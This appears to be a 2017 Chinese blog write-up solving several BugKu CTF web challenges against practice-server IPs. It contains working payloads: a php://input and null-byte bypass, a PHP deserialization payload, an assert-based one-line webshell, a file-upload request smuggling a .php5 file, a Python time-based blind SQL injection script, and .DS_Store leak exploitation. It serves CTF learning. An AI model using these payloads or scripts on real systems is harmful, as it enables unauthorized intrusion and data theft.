BugKu web部分(二)

Dec 25, 2017 09:54 · 568 words · 3 minute read ctf python

ctf练习平台-1的后续

never give up

打开链接后查看源码看到提示 1p.html,于是去访问

http://120.24.86.145:8006/test/1p.html

访问后自己跳转到了官网,抓包看看,然后发现返回包有一段js代码如下。

<SCRIPT LANGUAGE="Javascript">
<\!--


var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E" 
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
} 
OutWord();
// -->
</SCRIPT>

把它解密后是一段base64,继续解密得到一段url编码,再解密得到如下代码

";if(!$_GET['id'])
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	require("f4l2a3g.txt");
}
else
{
	print "never never never give up !!!";
}


?>

根据刚刚的情形分析这就是hello.php的源码。开始分析

主要过滤代码是

if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)

首先看$data,这个变量是由@file_get_contents($a,‘r’);得来的,(刚好昨天看的安恒杯12月月赛的一个题有用到这个函数,但是看了很久,虽然没有做出来,但是对这个函数有了很深的了解。) 这个函数的作用是将一个文件读入一个字符串,但是有另一种写法。如下

file_get_contents(php://input)

这样写的file_get_contents函数可以读取没有被处理的post数据。 例:

#假设post传递的参数和值如下
#$id=hahha&$idd=yang
$a = file_get_contents(PHP://input);
echo $a;
#输出yang

知道了这个就可以绕过$data==“bugku is a nice plateform!“。

继续看$id,这个可以用弱类型的0等于字符串绕。

然后是$b,eregi函数存在00截断漏洞,所以将substr($b,0,1)变为\x00就好。

最终的payload如下

http://120.24.86.145:8006/test/hello.php?id=dsasdas&a=php://input&b=%00dsnakjsbdasd

post提交数据 :bugku is a nice plateform!
flag{tHis_iS_THe_fLaG} 

welcome to bugkuctf

这个看了好久。。

右键查看源码

$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
} 

通过这段代码我们可以大概有一个思路,绕过对$user的检测,然后包含hint.php。

file_get_contents函数的PHP://input写法,上一题刚写。 payload

?txt=php://input&file=hint.php&password=sdl

post提交:welcome to the bugkuctf

提交过后没有什么变化,然后又想到使用php协议读取文件内容 payload

http://120.24.86.145:8006/test1/index.php?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php&password=sdasd

读取的hint.php代码为

<?php  
  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
			echo "<br>";
		return ("good");
        }  
    }  
}  
?>  

可以再读取一下index.php的代码

<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  
  
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){ 
		echo "不能现在就给你flag哦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  
  
?>  
  
<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->  

通过这两段代码可以看到有一个flag.php,还有password参数的用处,password参数还会经过反序列化处理。但是发现这些并没有什么卵用,php菜的抠脚,hint.php都看不大懂,还以为__tostring是自己定义的函数。。看了好久实在没招了,看了网上的writeup,才知道__tostring是php的一个魔术方法.

看了网上的一篇介绍反序列化导致的漏洞后,知道在输出经过反序列化的对象时可以触发__tostring方法。

所以就可以在包含hint.php时,构造password的值为Flag类的一个对象的序列化值。

现在就知道了password参数的用途,之前还想着绕过对flag的检测,直接在index.php里读取flag.php。。

继续分析hint.php,Flag这个类的__tostring方法还会检测$file是否存在,如果存在就会用file_get_contents函数处理$file。

由hint.php可知,构造的序列化对象中要有file参数,并且file参数等于flag.php。之前因为构造file参数的方法不对,卡了好长时间。

构造password参数的代码如下

    class Flag{//flag.php    
    public $file;    
    }    
    $a = new Flag();  
    $a->file = "flag.php";  
    $a = serialize($a);  
    echo $a;  

ps:之前二逼的写法
$a = new Flag("flag.php");
$a = serialize($a);
echo "$a";

最终的payload:

http://120.24.86.145:8006/test1/index.php?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

post数据: welcome to the bugkuctf

提交后可以发现页面返回good,查看源码发现flag

flag{php_is_the_best_language}

login1

专门写了一篇来描述这个漏洞。

SKCTF{4Dm1n_HaV3_GreAt_p0w3R}

过狗一句话

题目给的源码

<?php 
$poc="a#s#s#e#r#t"; 
$poc_1=explode("#",$poc); 
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; 

$poc_2($_GET['s'])

?>

分析知$poc_2是assert,这是一个php的函数,该函数可以将字符串当做php代码执行,

所以构造一个目录的字符串

print_r(glob("*"));
BUGKU{bugku_web_009801_a}

字符?正则?

源码

<?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){ 
  die('key is: '.$key);
}
?>

构造的参数为

?id=keykeykeykeykey:/\/keya[:punct:]
KEY{0x0SIOPh550afc}

求getshell

看了题解才知道还对请求头的content-type做了过滤,需要用大写绕过。

一共三个过滤 请求头部的 Content-Type 文件后缀 请求数据的Content-Type

最终的请求包如下

POST /web9/index.php HTTP/1.1
Host: 120.24.86.145:8002
Content-Length: 301
Cache-Control: max-age=0
Origin: http://120.24.86.145:8002
Upgrade-Insecure-Requests: 1
Content-Type: Multipart/form-data; boundary=----WebKitFormBoundarylJUBBnXhPPl0l9sd    #就是这里,需要修改一个字母为大写来绕
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://120.24.86.145:8002/web9/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: bdshare_firstime=1513927706366
Connection: close

------WebKitFormBoundarylJUBBnXhPPl0l9sd
Content-Disposition: form-data; name="file"; filename="1.php5"   # 后缀php5没有过滤
Content-Type: image/png                                         # 这里也做了过滤,需要改为image/png

<?php
phpinfo();

?>
------WebKitFormBoundarylJUBBnXhPPl0l9sd
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundarylJUBBnXhPPl0l9sd--


KEY{bb35dc123820e}

web15(insert盲注)

给的源码

error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

题目提示写脚本 看完代码,发现这是一个insert注入,之前还没有试过这种盲注。

#coding=utf-8
import requests
def url(num,asc):
	url = 'http://120.24.86.145:8002/web15/'
	header={
		'X-Forwarded-For': '1.1.1.1\' and case when ascii(mid((select flag from flag) from '+str(num)+' for 1))>'+str(asc)+' then sleep(5)  else 1 end ) #'
	}
	r = requests.post(url,headers=header,timeout=4)
def tryy(num,asc):
	try:
		url(num,asc)
	except Exception as e:
		return 1
	else:
		return 0
ans=''
for num in range(1,50):
	min1=0
	max1=255
	while 1:
		middle= int((min1+max1)/2)
		time = tryy(num,middle)
		if time==1:
			min1=middle
		if time==0:
			max1=middle
		if min1+1==max1:
			ans = ans + chr(max1)
			print(ans)
			break
print(ans)
	

跑出来的结果(跑了好几遍,之前老会出错,可能跟网有关)

cdbf14c9551d5be5612f7bb5d2867853
flag{cdbf14c9551d5be5612f7bb5d2867853}

sql注入2

提示什么都过滤了,但是还是尝试了一下,发现真的是都过滤了。。。

实在没有办法,看了网上的writeup,结果说是.DS_Store文件泄漏。。。

工具链接

D:\工具\文件泄露\ds_store_exp-master>python2 ds_store_exp.py http://120.24.86.145:8007/web2/.DS_Store
[+] http://120.24.86.145:8007/web2/.DS_Store
[+] http://120.24.86.145:8007/web2/login.php
[+] http://120.24.86.145:8007/web2/index.php
[+] http://120.24.86.145:8007/web2/flag
[+] http://120.24.86.145:8007/web2/admin

直接把flag下载下来了。

flag{sql_iNJEct_comMon3600!}

tweet Share